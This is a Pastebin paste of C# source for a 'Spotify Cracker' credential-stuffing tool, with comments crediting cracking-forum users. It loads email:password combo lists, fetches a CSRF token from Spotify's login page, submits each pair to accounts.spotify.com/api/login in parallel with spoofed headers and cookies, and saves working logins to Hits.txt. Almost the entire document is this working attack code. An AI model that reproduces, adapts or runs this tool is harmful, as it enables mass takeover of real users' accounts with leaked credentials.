Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Checker_v1;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Security.Cryptography;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Timers;
- namespace Checker_v1
- {
- internal static class Program
- {
- private static string combo = "combo.txt";
- private static Queue<string> comboQueue = new Queue<string>();
- public static Random Random = new Random(Environment.TickCount ^ DateTime.Now.Millisecond);
- private static CookieContainer logincookie;
- private static List<string> multilist = new List<string>();
- private static int loadedcombos = File.ReadLines(Program.combo).Count();
- private static int good;
- private static int bad;
- private static int @checked;
- private static bool writebadlines = false;
- private static bool savefreehits;
- private static int cpm;
- private static int cpm2;
- private static string writelines;
- private static string savefree;
- [STAThread]
- private static void t_Elapsed(object sender, ElapsedEventArgs e)
- {
- Program.cpm2 = Program.cpm;
- Program.cpm = 0;
- }
- [STAThread]
- public static void Main()
- {
- System.Timers.Timer timer = new System.Timers.Timer(1000.0);
- timer.AutoReset = true;
- timer.Elapsed += Program.t_Elapsed;
- timer.Start();
- //string value = "Spotify Brute Checker by AnimuCracku | Nulled UID: 1502552 | CrackedTO: 16770";
- string v1 = comboQueue.Count.ToString();
- //Console.WriteLine("Nulled: xMiroSLAVe | UID: 1502552");
- //Console.Title = "Spotify Cracker - Hits: " + Program.good + " - Checked: " + Program.@checked + " - Remaining: " + Program.comboQueue.Count + " - CPM: " + Program.cpm2 * 60;
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine(v1);
- Console.ForegroundColor = ConsoleColor.White;
- foreach (string item in File.ReadLines(Program.combo))
- {
- Program.comboQueue.Enqueue(item);
- }
- Console.Clear();
- Console.WriteLine("Loaded " + Program.comboQueue.Count + " Combos");
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine(v1);
- Console.WriteLine("");
- Console.ForegroundColor = ConsoleColor.White;
- Program.TestCombo();
- }
- public static void TestCombo()
- {
- string[] combo = File.ReadAllLines("combo.txt");
- Parallel.ForEach(combo, delegate (string line)
- {
- string[] array = line.Split(':');
- Program.CheckLogin(array[0], array[1]);
- });
- }
- public static string GetStringBetween(string strBegin, string strEnd, string strSource)
- {
- string[] result = { string.Empty, string.Empty };
- int iIndexOfBegin = strSource.IndexOf(strBegin);
- if (iIndexOfBegin != -1)
- {
- strSource = strSource.Substring(iIndexOfBegin + strBegin.Length);
- int iEnd = strSource.IndexOf(strEnd);
- if (iEnd != -1)
- {
- result[0] = strSource.Substring(0, iEnd);
- if (iEnd + strEnd.Length < strSource.Length)
- result[1] = strSource.Substring(iEnd + strEnd.Length);
- }
- }
- else
- result[1] = strSource;
- return result[0];
- }
- private static void CheckLogin(string email, string password)
- {
- try
- {
- Console.Title = "Spotify Cracker - Hits: " + Program.good + " - Checked: " + Program.@checked + " - Remaining: " + Program.comboQueue.Count + " - CPM: " + Program.cpm2 * 60;
- try
- {
- string text = Program.comboQueue.Dequeue();
- try
- {
- CookieContainer cookieContainer = new CookieContainer();
- HttpWebRequest httpWebRequest = (HttpWebRequest)HttpWebRequest.Create("https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fint%2Faccount%2Foverview%2F");
- httpWebRequest.Method = "GET";
- httpWebRequest.CookieContainer = cookieContainer;
- httpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
- httpWebRequest.ContentType = "application/json";
- httpWebRequest.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
- var response = httpWebRequest.GetResponse() as HttpWebResponse;
- string allheads = response.Headers.ToString();
- string csrf = GetStringBetween("csrf_token=", ";", allheads);
- // Console.Write(csrf);
- try
- {
- WebResponse webResponse = (HttpWebResponse)httpWebRequest.GetResponse();
- Program.logincookie = cookieContainer;
- StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
- string rea = streamReader.ReadToEnd();
- streamReader.Close();
- webResponse.Close();
- if (allheads.Contains("csrf"))
- {
- try
- {
- string x = "remember=true&username=" + email + "&password=" + password + "&csrf_token=" + csrf;
- CookieContainer cookieContainer2 = new CookieContainer();
- UTF8Encoding uTF8Encoding = new UTF8Encoding();
- byte[] bytes = uTF8Encoding.GetBytes(x);
- HttpWebRequest httpWebRequest2 = (HttpWebRequest)HttpWebRequest.Create("https://accounts.spotify.com/api/login");
- httpWebRequest2.Method = "POST";
- httpWebRequest2.ServicePoint.ConnectionLimit = 9999999;
- httpWebRequest2.ContentLength = bytes.Length;
- httpWebRequest2.Accept = "application/json, text/plain, */*";
- httpWebRequest2.Host = "accounts.spotify.com";
- httpWebRequest2.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
- httpWebRequest2.ContentType = "application/x-www-form-urlencoded";
- httpWebRequest2.Referer = "https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fnl%2Faccount%2Foverview%2F&_locale=nl-NL";
- httpWebRequest2.Headers.Add("Origin", "https://accounts.spotify.com");
- httpWebRequest2.Headers.Add("DNT", "1");
- httpWebRequest2.Headers.Add("Cookie", "sp_t=561d116d78f6d6e289532a24e44024b6; sp_new=1; spot=%7B%22t%22%3A1540743654%2C%22m%22%3A%22nl%22%2C%22p%22%3Anull%7D; sp_ab=%7B%222018_10_acq_signup_swap_fields%22%3A%22control%22%2C%222018_09_acq_signup_confirm_email%22%3A%22control%22%2C%222018_08_acq_signup_components_update%22%3A%22control%22%2C%222016_12_headspace_carousel%22%3A%22show_headspace%22%7D; sp_usid=a9d08f5c-4f1a-481f-a42d-1792c4e3d7dc; csrf_token=" + csrf + "; __bon=MHwwfC02MjU0NzIyNDZ8LTI2MjY5ODM0MzMyfDF8MXwxfDA=; fb_continue=https%3A%2F%2Fwww.spotify.com%2Fnl%2Faccount%2Foverview%2F; _ga=GA1.2.2135662364.1540743668; _gid=GA1.2.979118693.1540743668; _gat=1; remember=" + email);
- httpWebRequest2.Headers.Add("Accept-Encoding", "gzip, deflate, br");
- httpWebRequest2.Headers.Add("Accept-Language", "en-US,en;q=0.8");
- httpWebRequest2.Timeout = 5000;
- Stream requestStream = httpWebRequest2.GetRequestStream();
- requestStream.Write(bytes, 0, bytes.Length);
- requestStream.Close();
- try
- {
- WebResponse webResponse2 = (HttpWebResponse)httpWebRequest2.GetResponse();
- Program.logincookie = cookieContainer;
- StreamReader streamReader2 = new StreamReader(webResponse2.GetResponseStream());
- string read2 = streamReader2.ReadToEnd();
- string heads2 = webResponse2.Headers.ToString();
- streamReader.Close();
- webResponse.Close();
- @checked++;
- if (!read2.Contains("errorInvalidCredentials") && !read2.Contains("server_error") && !read2.Contains("errorUnknown"))
- {
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[HIT] " + email + ":" + password);
- @checked++;
- good++;
- cpm++;
- TextWriter textWriter = new StreamWriter("Hits.txt", true);
- textWriter.WriteLine(email + ":" + password);
- textWriter.Close();
- requestStream.Close();
- }
- else
- {
- requestStream.Close();
- webResponse.Close();
- if (writebadlines == true)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- if(savefreehits == true)
- {
- TextWriter textWriter = new StreamWriter("Free.txt", true);
- textWriter.WriteLine("email" + ":" + password);
- textWriter.Close();
- }
- @checked++;
- bad++;
- cpm++;
- }
- }
- catch (WebException)
- {
- requestStream.Close();
- webResponse.Close();
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- catch (Exception)
- {
- requestStream.Close();
- webResponse.Close();
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- }
- catch (WebException)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- }
- }
- catch (Exception)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- }
- catch (WebException)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[BAD] " + email);
- }
- // END CHECKLOGIN
- }
- catch (Exception ex)
- {
- }
- }
- catch (Exception ex)
- {
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement